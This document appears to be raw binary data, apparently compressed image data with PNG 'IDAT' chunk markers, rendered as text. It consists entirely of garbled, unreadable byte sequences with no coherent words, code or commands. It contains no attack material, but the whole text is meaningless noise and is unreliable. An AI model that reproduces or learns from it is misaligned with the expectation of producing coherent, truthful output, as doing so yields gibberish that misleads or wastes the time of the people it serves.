H)FOYS^ <;+W!HJULӳ*WA?>]0F(㏽0]*Ȁ,տS?grr3SAGQ<;y|CȿnG'uwrZG4\B}.>TRlx9xYgD
yOkέP$\¿k	f߹tW>rKO{G#+Ǚ|a~ŁO1v?צ.>&wIdn|Ł-;Kj^$i\
۩
#!^[}8zUPa]ɿgoaHh;aaԭ"?\:ɭR&8/cx7G^ǍG{2v%#XpYX7bxp33>7
ǤWuq;!yVzR**I*?qy%f)k1s0puL;`ޟ㛳7tso/@_9iT`r非kcBhU+_V:7:e$@҆(ӻO*4z/,wT^9d!p\91|:#ѪbO~RKxB}(F6keweA' K؞I`u}C1ۜ3o`h
_Q؞yHXC<~F`GcB\}e*wkZteHMt~{MoHf{皑A04?ǧZ$)<̞YQ\kG#ج;5 O+]Qw	<[ͬ	1w1/H1G|r>H1ґO̿hv?^B7twNk'?A~4Zcp>>fwC;k3=IW&G$w1*^	g]I'CԷ;r4i>D_Oַ9bhLѽu(cT4MX>U@.g-<4K̚46ݙK"x_<S<zs҅wrD-	RH'iv7u
7ŪksaA$[_D$vUs
צ_ܵUwWc1S~cMO]/{@Z6i}w	ֈ͚{ku{B}AU
/=`F`N
D\s@w:%v~d'd'/}y>Z5DQIt#_?@y:CZ_[V>y6S෧AU`5c[D*#p:hlG9@yz\Lkty_X@4+n.ې)kl89yEg%,_Й?;k;vP9cڮ3}p֭iYs{JApwchp:S7}./P~yuoTfu\?NCo[boW
'X>e#Hz^*^0dMO	L9{O<j8O5CLWosԭbnBlrX>SCM/
,'I79NF+R[:>\[rq'-{z-=)I$N_cq.!R‚~O1m 21*AǠR9jˇIZȀߠ?Cw9*;gzQz<~Q8a>pD`2t{۞gZ}{;e_jH?֍qz\=vz_!ɣ<lQXԇwޅ	&..laOw/NpjLN._c^ں坟'E9<*Q}Q]o+𒮛ֽhfؐ;24,^-zw"/b֙o
jjwn2OOPynrt@}B,nmM<񏗖cvUL򞿯?l3/ز\_7QkPuҌ
\5
Oğ>w;~;w_w70o&>=
άK&wNnh=aq1L/I>
zqop?aNFP[8}!=3^p/ƻ'E_)˗<$@9fڗgnvݮ}cҿX/;*"&w@<9TiVPfa9x:?I/5bݮAlovݰ	R8Z[{6s^160Re2[]=)ٯGj&y{ni_qd_62}`5iA랅#W5mͥNB.*Y/}|Z]g~>eDYlIwTA/9MS쬭%I׷Hs}D{J>0V_JnqwWx[;jO҉ܯ|Lג{k;姳?
C3_]BT^'?d?Q}q鲺gJ{h꣯ݍ"$1I$&1lS`5c<586dÕ^kwoۮM}걚>.֣Os˥C+p$b%w*0>GI
y=qf9AR0Cz1`X(<ɤ$&ΏB.s~{-"Xx+ѻoC/?oK}EP{"$A|H{nE{V#t<|bn^<晗p~mLR|unDIT}0wrrn)xt5S͝ؽZa:Νǿ^3m8y׷#اʦmz{&>C,a>bz^@Bʷħ#iߓߓ3Ey#'L?Ӡ}6Y])̏O
ᆣhJ=_|iq 8SAoV@8
GGy˦ؑ3H0jIhuWXh*P]o.z{)pʈLz9lĕݏ:uGQLlQԀasc`j́A6)2QV3N&m06`ouqzș=j~3-_dMά3ҁ?E\GWc }\-$r"$whVLЍ&U>S!E_-/`P%sG$]\j'u:?v
&ҌzO]Ӏ[uJFBt+_>+>מKB?3Y{t_?bR'_vq${
M`=F?wdf?ϒ+)ǎ*Yl&xW0Ϳ|&˳3{r<̼?Fn.d'swj/&~DUxtI/u^S
?x/Œ}^O_8SnS<ە%
IQE|hF54hL7Zgt?avo/V~_ßçbNԳK	)/إAf5C-dVy.TڲN~"z%}pKrGѲuXc~M9jO#,~U|UR_:;xpn53b펩Di)_F=iTypߡ
[{iMFy@_q$}u4=T ؊bopvSwMע&KͦFV_`p}أ<gkD8^̾ݗ4kưāyymhF:[G"Θ_޹JjL(]W~7z/ɻzg};*̢/KWܖ
]3m?!kGb}!y.+\ kѝT{ߣb|JXFsc_U9/P`Y~<sHavAұP6wmOP݈j	le$r{2s lk?pv ̄N|?;G$9`P{Nhk,UMvVس]@,@Iڷ;/h\O_WL\X㍥D5p^o[j$4y/̔#wv9G}uizgCzb퓙}o-CKߙE7rh[s]1eW/?6A~W
_ͣӘ_?NeΗ9?ZH*U()
m7>KJ?~Cwb:Z}͂^ў/gOs/Qg	:7?XOCPcޖ_q=uXj?o@;{gIi2lWHǶ+k<Aߏk>㥽mv=uyĿ}]2lLOo|"/@b:ױ}6?}UOOkU;}.XS;1NL$cԶ砾˿qm_#Pn
G+%X;>N
Eš:f%q~Jv3.{Qo/Hj-0՜%FmCoR;ew:̷᚟ƗX؜9~ׇ?jS+15i^ѷ+f{|e^8Ů>hO
r4UߔSߕNOXs4lOzP9I3'4q?!XP>Cs*X-3==]-"ߩώd>JS[BOq	jC9y0l^^4xT]Y ƽMJ$}*(ʩoO~PQgi`4W-4USѵ/U5(uu]n*يk4~uQtXp
Aؘ駾8<[*'{?ZZ-1Çzw,Ӂ'%ٗ8}LJy[]?8Oɉc1@I.Ko쿞u'>174 g*`Oy:Q&~_
yqE'FyetV.<sWM	ǿtb`F|B^Ի؜on8$1cŽa7D,یԾ답庭^WI1k9\g8+34[R`4uC's>g&ŲbTE'w7}N1u::,qJMpΞ
Dባ=$/rߘ|ZAcObZ̓cšGD%SW=#h~Nӱ?Hڷ	e&$\C[_=\2nLBÑq<>(KOu[M"33|U 2q v#<:##|9|+118՜Moֻx?89̏kvnd$hoUJK!kW7}6cǿ}htS/o5b0?oI}eC9nz),9bm`"Pӛ㭫ZWZ:rM߉'ͦ?@xlW+)ZoH,-gݷh_	D@T2XϓsjAL`5#_Y;'sAf6q_!TPX{0)S3|rUz<N=uh[`sQJ5o~ZKY6^vڰ'z|]IfNN :n~(P?/y˯ 'VKT̈́AN6gX1MP|5c/(_Yj62	<ci31rxMjՅˬj5smCkWSInQ]PVE݇wIJyZpsN9+&|׺awijRN
j^SMP`Փ=H_S}r^yX|F֍}˅l묏9^Ȼѐ+Tyj-b7FJ!`Zݪkvs^[0l"Z)Sz95cE59OyT+趮jTP+qZ(rn[<?%=N_O|ZmX|s^ćʮ/8]9ǽP	7z.rw1뙟؁{!W#GGԯIw3k7HrUc]zDЫռFLt?'-%_Ij+NWfj\|Ny/7ϯ&y*:D.zŨ.rX@#z?]YA~(pn{FAC#0^~nJ/K>U?/_RV9|zP}ͽ8/Bg?E#bu|SX+~9:dߕL<?;iebӿ&Yp:wXOͿY=(#;-	.-Ѻ;פ/OjNӚ%ߒ_^:^/]_/ÏgwN#V3rlxgHOƓ3Ɯ};18͐^?ʿ&Ksݡ8鞓>3/wyBla4[5jf@z~t7Ϊ#wZ_]CXh%G6hUk?"Ѿ~/˟88LgH
RM^p"r	Ag)/sGRQ<U_fU3?XZ)Rf<]?	y,z3&~
k'
?a!z<7@pX?%oIt*8'ޜ?N{8)a,B|g=H5z=*&_v)ru{n{Y	ge?)}o΃T=͙M|T/CߑAB}[?*.w|iD/q,ͯ3%,?qZsN4zK>|4uo;:[37Uo???4l9Zx&zP7fI&i5H^9Ob]|pb-NY_B+FkF\(Nk\]
|}?X"<+x'0C	t՘
v`?]5xz[ꟻGD`?er#P8w97]{	Gg5$iϧwꯁG!XOS`H	ӁRJZX~>D\_{-xw!Ix*wdy/װWE+HL-	@IDATV9ٳ't`iU٦șյ$0~SwuuŚ'4%ig)rOJjuO~xğ\:\+XLF tϡhnQK4~lw.侷lT5DBy'bSU@(oTo;~<+Yվ:w.sTT|5uDn5s'oDhO
cD.S<+}wvIկ^Cʤ/su1Jq4m|~WOPX|+$c553-
~[^׍t2q^1׼:8>Kkby7D2=ow~Z
%#~':ݨT؜y^||!תZ]=']^ǚu峧ݩ~꫋[,Eޒ}/^'-úfcldzn;ߕ?m8r=["?d{%??.9zH_a>#-ς$"hAvb>IVM0K:zUyzz@&t&vjC{@3YnUKYB}'l1{g/>=+1kP*?n]}Rưf1=n~-!A?YSbt1Ih*;Hc^f|Zsb+|
7g!}>8yǼ׍BMu;	؊b#kb3K~S*>C{xdq9)q0́%yH:x-Gﭡ`#0}g#!6*~EF{a3u|T㩝KreQQ}L־|J)uQ8?MԷWm	+~*L@8	?~UZ6*w}P˰tP>¤.}sicB`L|ocʿn-4S%	$1ЃmD'2m;, Gکd|TZEJ2|S0B/=ScJP8}(9|*9O*ۋO<b>|ŧJXV<b7G6:Hs)xZ%pℕJZs!.j8[ݾwܤN7Ao~.Z4Pʟ@7`7;#~WViXZ1SMxrfu5W?b+R&a% 2ϨGqr^+V]֋}3Mi0Ed4m@ή#e޾?%\]z71泸'P"=1{S<}ZGI̋/0w;=-ݺSu-1"r]*]p.+Ǟ;ͧkm:@_3?% yEKis!71$NecO戮- HŠܶ
W@8rv"=#ZnUM8[~9H˲ԍ}7*	^
|l}[U'rԸ<;OLgPԎt",;%k-U;fd^'ts+P(췢؝:C]CӜuM:~֣u~m+?x IF[9$#+-P5.z;1/<e.!GLxWXHD{3}wuL1߱
M|_Np˨i! P &OdxG/{
~2ӣ-dR
<q10Zy6p3ǰu6'e[=FR;Xya}׿tDIl{zի%85eSR}XETƪP?5}$1FeU?Zȳ|Cܗz*I8x:@6//}
@#+REV~Ч Bϙ{?:#2r-O kvZ=Skzn(52{jQ%"vz$s	CNsYd4Hk;.zޑhIQ^i%EyJi}rG??ЙZtmV=<o
&=n>q_}fS'v=KL'<I]$;|{JfwL,&oAvɄkQ`9?O$P?Bfi?zV3(xy~?bMP`Ze7+䘽u.
m4#MRsBJdd728|صT|!}Gp{aO$
FHZ韖_뙭|LXg]
60wIrN\d~OwZC}dn>ߠٻ#<Vz:uWB>&wKLN1	7B\|⟜?Uk^s}~J|ͽczꨫ۽9̵K P1Th{ߜQ12|_DʟAV0;_΢+`=<χ`
T;3
P
vĩ'K<qpX+_%TRicy.G2}zv@ϞM#e6d-뻨VOB+m|h^Znn4<WvXvtVxNݫ\usvNtVsK1o_"2KM/= 2Ů1 H=R]WM#yGDλlOr/Ծ	ǿ
cW`$j[ߡ흃,=k_y&W2߂&-g	8q>k2;ٿOx>Ox~Z,`|Zy͊l׃폌VU`GoЄUF3r`]fV#^Ϻh9׷tccJj<[)]ſI-}0]wa=^Ѕ3~ԂZwYk.&ENth_@A/;{_[{Z>ʣA=<V2GŌtPR~*~3oɴ\xYk4ůDrmB7<'/w]/0$$&9>~_?8o>wmwiuiGrs/s?|8,
I ɪ'ITHV:|?yO"=?rT4w?T;Qۚ#i	ry=KesHص?z}'b~_3:*oǥmÿ
H:|q) .E8?ڪ1gZ;J,v?7`"`;;24ߍq?<<Z}tMy.T}fO/"OLbsHlZsb\
Y
4hOEʙyRL!f[]|nT}JO9̏0z,F˷άʤ6*Oy‰rR(}=>kU/N\O2l&[_xAp+bO/xSԓTv	U?S^Pd޵ӲIyi
.nHL|?k֝+#qs͹Ϸ9z`ø[^(7}Mu%1b29O(le@\1'/c+/l8aI`w씩!>_
 dC(QG![[hp#c]0'1J{Ͽg'xsݠ@q~1sxnI #.|ܩwւO<!~[÷nSJ%iAPd~>dWEGlM 8J*|{|QӻfX2̙px.yI5g?wRt~n
l	`ARCf;w]OT'^t$)h"K|ݣ
Es/n	}_aPKXق1	ΡSq7A<i}i&Aߣ/Lօ%%y
/TK!hwm[TB߻᧾*|STor_sdx秠Ai!7
3(v{,f"erh\u}pVMHѫȐYYq6OyإQM7y@<*0>P\88wQCΑBǿYCl_^65{.F8x|TĆt7xe[y+YuWMZ#>EI]YbWr(fh'kXG%lJCÙݚp4+ 1?g8$|%5GI-)y͂B S
qrt盟 rFs䋳bsZTeذ'N8Nh=U К0[Ȗx2}0_RBPa&s:qy€#vO|}=m:sU<[g	nLTw޲?$.uʯ}J8]?}\ߠFf	J}wg߃DveՇCg#0$)w~ls9mNKdlFS@XM^_7MޅVooݏ>X5b>Mmj}gҕ	ζ뗬gYUɹ6QlZ&NPNyOl֩%⣣<R_\7)H_tmt	a=}2مjC=gץ(n`4CgOtotc$O'*8Xj;7K7`e|UON.kK90;J[TiJLa<@t[|ΎWbdT{ZĔgbYx9ݳ9YGWY	ճJy01U[JB`6r>~?AoNOwAHuPVk̨{L}UO8I=}9笍,}>︐)J/B!G'1i1̏]p8u)qZqs$9QyVrǫ7\Y*QnSlxalԸ'?Ug*}".rꪏM-vN1j)fJ
'z>Tt3çN_9!?
x3Vd1`橧<f}x`a'|]y/1
y3z:˖byfYo 3e
>>˱5:ϚBX=n``_9ϟS<'M8} !qd:#'~M]ysh֢ϴ7~n d]0gh&;<`n?V`dVJ	Yg,xQYF(NC5+t2ХmZ\:bZ@X,'8"]:{8^T:yTZė?{N?ā^Z;5~Zʇ@.S'iNP7U~Ec~ɳu~I?šsOQ3CY%[S@,;Nzv_s
hJO9GpHsRLRO״>T]R(ﭻ]~yuT1h3AZdHC|#ׄ7ά<=Z*RS:@p##NߤbGsv8D}Njp/Kɉ`{܅}`h&tׯ-TUtdT1AשN#~516%Fw>ubﻞGPzhdE$k/EugnRbN\y}Y7Cg˟)6'w
뱻{<9?epv4g[歵I$
|ԙ? K `stb2̮rH?2Xv<ԫ#m
EF/sid6?'i<怜XuJsbYL-b$Y@s$_~ƼJ}cnNxH,>=?~>-9̱$0`>swiy/sR,#īI}OXoR%#{S
߯+x"ԢZ6@|Q[Cd!oRc+``0v7tՙXMIJ)4!YXߖ|#vީ`Q?ID'<ߍ>5ݿGd.zWeM3H3
uҌ1~*ܩSav{@Q57W8gvJt}G]D2{4EI!l"vJ.zc՟m:'NUk\\a3%
O8eښ
2WHoS'>UFAH=Of^eZ_vX-|ξ΅ 771YЊ1"B
,ěh}rH`W~³+;7Iص_qP
,f'H	
w;YY~ǽq2\c&fMH">.%vIZG~l.!p]} {SbZՈٻ:1DJ|EO'1/q	L#Z`ϲ~X
SxZ4@UW+6_A%|p&
oiVbXx͕^sF9ÛAdPi `r;C()Pqhxw0-_`рwT)7مEb[HiXFf.EoAEx|`MKR?w4ҕ69!<U*$qɫ@'|1;G箛FZ
hX1d;|h	)Kz9'7QQNf%|=}.ƸG&蜢Oj<'AvWJAq-̏d7PzH^ݧ|	7(ϙ!6b&.hh,HB%[-/q+P]m
*?Ty/)
QonwRC|0SGir~s.f{
=$F:$/ko=y|'ڜ5uN|L9߿?)XtA
=OoOksdE99

bg
Ŀ@597Fpi~@<KA+/Ϡ?~Elv9J$z:ѭ?i[,mUꉋ[xO$o=BS^j-tcBQ	~?k㣺D-wqMk
L_IsIT&^>۸0WgyF߯f,eIWC?~USWZ_%1XԀ!gZ<Gy}H~%ed;;/嫮w6Q)}
zn~󘿝?gIz>O?bjɕw01`"
<`M:[	Uy7uOfwUq+Y;8O<X^\F쩆:+bK?O+FV+H}7l_ԟ2P0H` +}ry#R]Uk|]'ڣX@KKDۏi~,,=F8/RR!N̓Й₥TžNȫ}[-nY]>i9Nۣt/B烷鉧2A?S?fYWriFpzO}()ݕPX+eNIƯpuM4o*s™o}3yۿc+7GLR1;ǻWN\dkT2tԷeA(>=^K^`ZG~V:ԋ/I#P.ղe.>'	܎o"UʹxQ)^TS?`T=z?$:S\=|}?U6S}u[+&trꩺ/Պ=sU'JrXrr}-#Z3ߢsj)8kHpi{Uj2 H7ߏD.qŚfSkoHMrܓK_ՄUry'
UTue(?&oʧ4YP
D6_;r[$RZO|6W05{Z`ɢoeI%Dn'ҮZtvY!_lkj$KX߳GtpA:Anҝopay)#f۳;ff;zrЃ\5pDpSotyϪ1]j^ӈkٴ|&o,m!Eix
w{-cF5oA}|Loq1Qn{Vb{Fr*LĬܻysrxPS+ӻf{
3}V<y('&'t루wB/׻ֶ4vv*Ͻ3_Om0{?׿?OH-{yJ1꧳Y>Ks}g+{׳?Ǭף8?Iciz?2(]p{\OT:;ߕQ1a3_b;\¿LEf;Է??:s?o_wJZ)_?߿fٷ5E?m}mc#ryXnv6H.AUSsv}}?*!/>%V';w赞UQ9j1IGԆI ә잯GhnU9Z[EW`Bh{u5HΙ\vRznR!vSm)٥|
Zk'\)\Eg`[ҳ(̾@J5&Mᾯ\IXJYCyh5YMD/39|l0
2_-9VaRB}Msrv.1gǏ|#jHwSN@e2AyxwS6ڗ(XPWU #K U(/G%S48?.o?4Vƥc:Iۧ1h+4k"_5Zސx~'6d2Fјbɥ2?=},e@TZ9	+"]י~}7_<{D|rߖl+3T?0OC#8)?krՂgVG,5};. |0g|q|]	67s*o<tX{a#UPD-;჏0Vf;x`Gľ)0uuOaGwX/N8BgjK]>c^$٦%o9צnylKncy聢V\˽0P{ߟ.҅ƈ8u4T?p
B!zwSmYkc]͇~L
KB1Vb1e7LjڪC/.Lx_s_8fb]mĪ9 5X[_^Q9̟xyS_&;
OLsPQ.IZBXq˃P09aךjJH`~.(CY܇1c(>Rwbx}e7w+&OJ(Q:LJkZW\SZ0)a.vp
Ĭ]M?DܩQ>wzK0CtN}CLHT
g5	(cV{]m7)ly.RW%J_ZIʺkק;#VQ)ـ_վJx{TS&Rhr&:W-U*,ȧ֧Xއp~OA[,O,Gfk0gnAAHMp#3H}{ is}+6IH#Flܻ'~{fPQfjj=#Vu{]_"B9:9x5a_xdg|pE=9^Ŝ9qُO=?MPUL-P֯#w𣾤P_|
7Rᓼ6+F_IX¹KәEsuL_]!ڊ<&)6*¹`h-Jej1OpׯaFngSJ7kAo_K$+XIМQIgOΉə?W;V`qy{@aߘj#OxAG
~4괔DZ(:i)S۳6;uhȸ<a03pMW23kr7C[PٛHf19RK搽Cd6,jikWF・Z3<=h6Ϛf|^W@<p7|?wBCkKhgw[<HC_xt7iMsw5 (ٰnShTQgU`nX
r頩ͧZ/CcB*NZvdST=:ȁf;YQ>հ;ʂw?\Fk6=9Thkw6_PbLiy1qQPf_O=&-LQjHsTѻϼ#W/3?:g#}'qVb:,g!9ٳ@{c^?(ZZԿSށ@kvwZw;壸o<L>b6QH
=.rҽpWҪ;?H|kᤁ(VT5s(c1H\|R}OxR9VsQ7QzVoƠ
`ʦm
Ƭ0Z#|W-vYS砏
tu(V? \a }	~. #OcCZYk*J:iڝ۩VOSÿqr@>?]	5!v=oYwbP
^||@zVV3fo@Vy|Z.=ǿV{f?
?{~̫AWx)?gi?{3"~.KXAs2>&5ɌNTQRHP;>2b77_ZSE/w)/Y=u
2$%ِ+Хstġٵ7A(ق(tuz3w=8N)}usjga潝VxIgZv]WVcozڙVG:
O/:
OޞS3+g?ny1l=+z\^[s:'A*
h{g|:PAtЄCF"C$x:!aOʻJ&k)sOeW$hoA 1tƃJdb=gs|L<^Ъ3ßo)_[?:͠gbeYN-҅8弉7=ZƯ̬֙+J
ҭc`	ꐨpć^>5:uGXߧa+\rރus]~>|ݛ9_p|z;?}̈́L;~(Zp1%=/_n'ͼW40OAiGH	=+rٿ%
wC#lW|LO=#-+3lTxJB,.5^|1%<V1n8rfOfݺMʊgNnĦynfD\3S0o~h긮"X=kqIks_lѧ5=:3י	InNjN.&fn#Vvx\"嬣݈ٞ{@?Aei|>r;N׿uXmzcB^q?c^۳c/ouI5֎N(~"#AboPV:\>k#Z2%w7+&D+98]qޕ# t)njYot}^9di?)v)2􊗫Z5[yE|ѝ
m(c.5
#⧿~6Ħ'9jmkPͪ2S*1p*1ccMoI-G`7^`~n0u8כMcAi3]M
˫t<QMԮ?ԿAwsF~'I'r[]+PqU@`~;=woYRT8n}EVvaO
kE刄YS>muVISeϟ7o}G}S:ߡ3v:ڂu,}Ee?|"T,Vx=n WZ'gٓ[
VA8Ԭ%@A]'4V[?L4CR?\C@JO,Y~ za	&x+3<xlv+B}	3쁒Qޅ"w<u}i}.Ꮽ^[B.,p{k_o1[oiPZE
8[¾R*I5[2X]JGT50ķ̔_?³"=".Y6actS0)ۻF1vA]) ;VZJ&~ʳGf(N_@(8G	pԵrCs//cc"/F~I]1 Ǣʍs3xGVag5,ۇT>Bi`9v1ݗU.?%il~K{|[Iفg"_?~}.2F[j`=r◯Z>181vxCʳh.dGꪧ;4P~=1XnKjWlEn"Eg=Za{9,;gnѺ_\RuA'g}Z?
ZjP
Wt/uZ8~ם?ʹs??7{6KqO#pq:Sw3^͚/yQ.o.O8@]{eݥOxo	M
y_riL9n<?۫hobdolr=?l<דH͍5;sSml=ǯ8<59B\c3kga<A\=gd.x/_γ_W/cvV"\D:Yqx3^)^\0^F8yŠ	堓_|o?,ΏunJ3| mݻ?օNGL%pJwe߿4*Ԩ^N|88Xzy3)1qt;v4`dy!zp%>^]OᖓSR]ʱ;1N>Pwn\w/P[sBk~#W33/ﵱ#Lf/__yމ<$/sbv
p˗/xmw@?<cG4C]`ԄfQ-jƎ65|>wK!k71# N$sĤbc DE2fS,?,g1	k3$`{z˄u~_A/7:zK};xe|,?_Xk:[@cS90ǣyKJAT2S`05|qV_V/m␰z3>,OT $g+`v>PB|?|%EV?{'ZWR
Q\ATݨoq>WsF+O7~'[1$Z<o܃vFW󛫒c1*;ϕ
0ޅ~vj<"љ"·Obл|\l?>?	(o~lĸ|7R{{õVksSc{6>ԾtA)4*p}玎-Ap'LpgS,Țo	M46yY\8/RO[گ[>Gw{ݴ9g^IXx9즷ZkQOW:x"{*U_w??kOfO7z~-tٵ
.u-?W]ߛ?ԉK;́_O:xp3ڱfeϭ1-+tM0D~G
c\c!"_E	g4+r5=+ywn,n+_u_O5PdqW$Qx _yZe~/GgB\YO?;'ן
Şԇr^2|#kn1={?qdT1y'W3R3',zHh`\bČgFa4?6)[!8sGVŠ[l䠦ZjoLcz}aG-f4j6EO#5Gc@	/" nL.CmhkyAמ֏2Dm8@IDAT5V>eYͷ}+[<C_\Io9[Gʰ#H۾`
46?`Aa1CD?8- eJd5wU*D~W{)`6_9=!ZbV7zWXpZ!~$=LbͤXv}n*~/Gr^9yy7Ri—QMt)-}yVө/뿊)?ǟk~jsYF}lo58_B(||{.+-gƽ镚W]zeD!Vrџ/|OU=o4]#P<?M	L=:VU߾K_?&\ENl%'G̞w12B޹Fo.vD^L0߿H^$Խz=?ndޫg!?k5z>:;w{YyBirz4L%>*/Vd)@Vbc}~^//vi̺?|tVWS[/}2I`l>@^w.*u9y&n$3k{5_>J߳Z{pD{?w$MUc\oKn~_r-CV w*??o_Rg;-hj%Y:ɳk}/{{߽K_
{5m7s=.[g棹1'*'sJAkb[INgOg丟<OS5c
9Ju|}H*פ+٠b!^׉֡'nC}gkUF~z֏Y_3@w(NK#~d0=Gl3Mϳ3]w^ˍn =;"|	Qf?㙈g\F3ߜ珰D[͔@~^/?3ϪgCgoNha7u~T&8]pJėn8zy3=Utu=C$[Οٝ?=y-wsݻ^SI?z 'p^T!S'?
WKL!YJڎQCG,٤74r6NN
?`_ah_S?NO+T|z$y)ѱ*ՠS3uĄD22]?s|
Ao̹)([繑b95n[߮:bh(6tN
`Z^mbf
zS߸
4@7l|+Rq7S]}Knw%Tiو6C+579y5GWG%\eO\>O?Ý>|t*$9rgzK8M<
`Y!gkN.M?c-
tsx+`5`7TgwYJ*c4gny:nnZk߾Pʇb_)_%ѻZ+]|G{R59`]&uUS6@PWH}7#sTxӺb]00k}S嚕L}b|ߟM0wx4gFO+wx/%D7K^o}ӂó^|ΘuZ;
p^m$n,b{\2X/յ^$1;m8aɞS߳Yodm~̷ql}~7eyL<{8U1qr<,?uywn!1v<R6_sv4սP,by_⩟BwR?<	8twxמܹn#AunA7IeU:<цHYz'
޿DB'Jh=sq7#t3nGS{	[m/Wq㳶P24'	3s~sou[uޓDs
Q}6?ުw3*te\K@zrƾq.z2oAÉU?ip_QfPK5>l{$ho$kqNC>,2uĜ̟
qb,WMP}0+Q1TW_Z?Jr`Y%kuR61CY
44؀.}^$hʢyFC^C^9~oGЛ'G̯?Ad=R蝛Jl{Ogt<Zm.{[gUlF'8Y?Ţ$G?)Ъ?n,QY*-@Ԍiw-E҂XK[tcXN7o<3|`y՗tos}|@>21HAxA[*^Oi
؂hi5pp_G9du}JNq\r>yOI9t*')Eo}$R3={r?Mb_?xN8)>ȿ;^fdp>8#LNL#Y5SLL6	k}kz
qAZ޻phoLkVsUP?r$q~fwo1~ ޸|"*qw~ߚi1,DnlՏ_A)@r7ׯ41
g?
ڄɳg>\^[?w7pKOFMNJsij7mxuYO\u_[߸h
˺yu0_>[X>ik1)O&ZYN`sGD_w=Fk8Jgp/o;ǙRoHaº[7,r͒4'ӆOW1;?og~cIPbGN?is4upw. o|
(O[1pG7
xΔ-^'؋@`\
mߑ}֝gxlO(]7'z~ήGֺҫGĞx~/-]9h-x>H8G9":1)m?x?|`
!QŁ"7N~5][KNsjƿwSTV6b_n?	AݯYĸ~_fػ7"x~M<3鑚qzg\x)hu;Ob\ž;wͽT{{ϙǴꭏV Co0>qPod\ښ훌noC8Bp=s	r	ma?>{/2
{GQOjkXcv~G;lks:O<^-+E1υ97{j©a:}54~5w#&Gb5?G'"uTo:Aq!9z[%C[gĔbGz<ޞ?BWN?G]'EԏGz9=ʯ/gOl+оa},YMS/
6nx?'@ZoW~hZ~OenҐ#>"q?Wihjme)%gDʗϭsHN,'W{_|#|lC[%0Zyuy߮Jl-iw16wcj?Ù&~@O.]*L<
]}ŎcZ8iר/%[ߛ-m|7Ow	==x	<?nc[j5[˞J<ZAyb+Q!w	,9缋Qπ	>cKtX̨G9&u-E%p(f}jyǪ]?{͟zW;s3N=Bߵwl@.5ưGdNyksyS`OSC}yo_'QλT\K:uOviJ*؝|仂DLl6
V͹GyE`x#>+f=vN[cxueK	Ž[	:MiG݉<kŦ#&fo9^ԇ䄪|2g~ѝ
iisﲰW8xjmG2Ef:e&iNe7q~ߟ'o_SgUMy#mWYL=<N;gcI+}l&eהn7ֱ(ܬԿW$ݩ_OP'ѾR{;pg>{kww#zӓΏ7"mC--V3+kgIO߲~'Y!lQՙ<Z/x3zU>,&6<P}nmb(	'z+
zP.Vou~.N6XQ		}Cf|9/p`\Y_ݭj}V`rޗ(N|^˧>G
p&:{
##ne\iR_Yo%tK9#u-^;̯_8n?e5ec
B{n^e,"-il88*Sz/ro2"=Gv+wf~&BXa*z%?3}h')xmZV70{z{vMZe?vx>^qr/}C,BKJZob4>RϕOEطVRS9p6GYA[\\w#MpȂm.WSqHvRdݣ3=&<oxXn[,84>)LH;ZCdt~k+^t{]B6?|]"49[0VPw^/0?ŋg凕I~-V\?|}k<L^0l`u`k'tz{mt5?k"#{-L_qhء[w{
ԣn5z9k\+)׿p@WɅm<w췅rt9n1ؑQh#:{_
:Ÿu@<Tn'k؟Z‘"D\%uOaIP@;?V AQ>Hv9b?"/?zQ gGL$śϜQ*X0}"9=
T<FsjɸNG`DՙF4zoP ^Et&;'S죯*6E}M#Gwe]D0sߴ'l|р]ѧs[Jy~^<;9̇3|4W<27?A_G?&-o}`Mcmv|كYB鳕~$p;oXP+`W!N#wC#prrP^حi ,?歞<0leC7/lzOE'8u|ͳ>g`	>`Lk]x\O㋹_6ˏazݙ:M`qQa2tjMkwoV/Z}A
OρGlρ~}0`г>=;.>;䟞̢iu"t|&Kȳ-o{.rs?0ѳѾC~{ z@j/C~-_g+>=[$ӄ̿_i
%m0l>w߅y
\_0Z:0<ԓ_%3ʌc2c6{kj'ߎ%*o~5U3`ױD:A9VKxx7n07	Q->EdDj=zx	~UXGyZLN}kW5:S̩oM9žG=qӌЎk"ϻJ̥"Onqgyk4~b%EDcڻa'y;"ZbќOOhH.ޏwn<>Ol=8htvPNOϟo>Ϥsu{H3S<Q_wM_|cIp%u
GVuXC8uMð6M`,Bwv'/_ut⻤YY8W撻ـ9}+ār^>3
~*J/=A?+u*~Fvvn͸gs
]Fb2<y1y'~,^Ojn5},C?Α"lH'A:hɴmo/liسztOwpWg${~%%Z^>G+@.j
%d@̜(}o(ϵrGj
ATm;'Yld`$yK;Lv.&9G9Wc6MwfO}ygXݶة[_G%Ә#ߏ!u
rdO
X9ހ>>翮"yʒsOs|/Ws;8|?1Dž	vӷ;Y\=F㙀UsV|ۛ<$6xݳt/	@Mh$'0yX6}_fqՒ.XymR4_V]g#Ɂ!1ozcݖw|';/ܰ?/V"*G.d/%Rѣjjt$zG72u.W,i=sW?uķl치əe@ڃ1{;?nE꒹2><[P-{&A8.l_pΞ?<S,H}T~x?̀zK[fwk~y"<:Zw'Tsms{(1mXlXI3ͥ&	8>~T.oʹ?}!>Iޏ1@0xC)?ZѪԼDFGWکAq
)շnæ4+ܳrpL~}i2tRѺRls~qg.#=l(B\:x1$4\>9h=M󫪉h,?/_[sbn\ɭs`@Gֱ	As~g7n7$l\vq^qj{78'1*cG9?%ݨ`wΞɬR/oDuyƝT~mޞ!c:xrb@4{zѪu:)Po&C3۱&AO9zWqrp+ |oW_^>2I|"}
-lSDsQ&>/?{r%N}0ax.ɘ/[z-fq9Wsx|HPBT÷7[gk!LH?){8IUk\\gE;uL@i[~9DF"d0f~_W=mo)0ݭGׯr;vs_\>.2?99d۔1\yK;aWC<X
?\j\%AB;{_7$uD=su{#[K[w?Oq;"@>w?茝xob1aFoZU|HRu<1s"bPoŅa"3+\&(zSN76cܙcU~[wV#rI:]
6:`N?Z`WsEpIR.}:UAbEW^l6[:P7D:m@
^?)u6yڦ~:IPyuM_Õ0'8UtTe"*|rӟVPO2x~S#ܲMZa[,U,k^?<c/U|Wr)ki>BKw}<Z<Y^Cg8ߩQoy&Zh2մU`|[n+Հ<񷺞P)IrHRnX}YM`]T?
хzNScZZ=qDZ[@go(੏Ѧ惛svڞo5+V}?w׳Ve2{K/^$Fl/d\~ĻRqLtnLtSKEom|/e>sq}
|ypc,ۧ;yK$
CcA4<"NbD!98	`&?B
